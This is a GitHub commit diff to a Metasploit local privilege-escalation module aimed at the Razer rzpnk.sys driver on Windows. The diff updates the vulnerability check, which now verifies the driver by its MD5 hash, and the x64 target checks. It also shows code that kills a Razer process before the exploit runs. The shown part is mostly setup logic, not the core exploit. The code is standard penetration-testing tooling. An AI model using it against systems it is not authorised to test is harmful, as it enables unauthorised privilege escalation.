Skip to content

Commit b4813ce

Browse files
committed
Update the pre-exploit check conditions
1 parent 833b2a6 commit b4813ce

File tree

1 file changed

+20
-13
lines changed

1 file changed

+20
-13
lines changed

modules/exploits/windows/local/razer_zwopenprocess.rb

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -70,15 +70,22 @@ def initialize(info = {})
7070
end
7171

7272
def check
73-
pid = session.sys.process['RazerIngameEngine.exe']
74-
session.sys.process.kill(pid) unless pid.nil?
75-
76-
pid = session.sys.process['winlogon.exe']
77-
handle = get_handle(pid)
78-
return Exploit::CheckCode::Safe if handle.nil?
73+
# Validate that the driver has been loaded and that
74+
# the version is the same as the one expected
75+
client.sys.config.getdrivers.each do |d|
76+
if d[:basename].downcase == 'rzpnk.sys'
77+
expected_checksum = 'b4598c05d5440250633e25933fff42b0'
78+
target_checksum = client.fs.file.md5(d[:filename])
79+
80+
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
81+
return Exploit::CheckCode::Appears
82+
else
83+
return Exploit::CheckCode::Detected
84+
end
85+
end
86+
end
7987

80-
session.railgun.kernel32.CloseHandle(handle)
81-
Exploit::CheckCode::Vulnerable
88+
Exploit::CheckCode::Safe
8289
end
8390

8491
def exploit
@@ -90,14 +97,14 @@ def exploit
9097
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
9198
end
9299

93-
if sysinfo['Architecture'] =~ /wow64/i
94-
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
95-
elsif sysinfo['Architecture'] == ARCH_X86
96-
fail_with(Failure::NoTarget, 'Session host is x86, but only x64 targets are supported')
100+
if session.platform != 'windows'
101+
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
102+
elsif session.arch != ARCH_X64
103+
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
97104
end
98105

99106
pid = session.sys.process['RazerIngameEngine.exe']
100-
unless pid.nil?
107+
if pid
101108
# if this process is running, the IOCTL won't work but the process runs
102109
# with user privileges so we can kill it
103110
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")

0 commit comments

Comments
 (0)